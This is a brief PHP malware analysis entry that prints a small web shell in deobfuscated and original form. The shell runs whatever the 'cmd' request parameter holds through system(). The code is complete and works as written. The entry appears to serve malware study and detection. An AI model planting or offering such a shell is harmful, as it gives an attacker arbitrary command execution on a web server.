PHP Malware Analysis

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Tags

Execution
system

Deobfuscated code

<?php

echo "<h1>123</h1>";
if (isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = $_REQUEST['cmd'];
    system($cmd);
    echo "<pre>";
}
__halt_compiler(); ?>

Original code

<?php echo '<h1>123</h1>'; if(isset($_REQUEST['cmd'])){echo '<pre>'; $cmd=$_REQUEST['cmd']; system($cmd); echo '<pre>'; } __halt_compiler(); ?>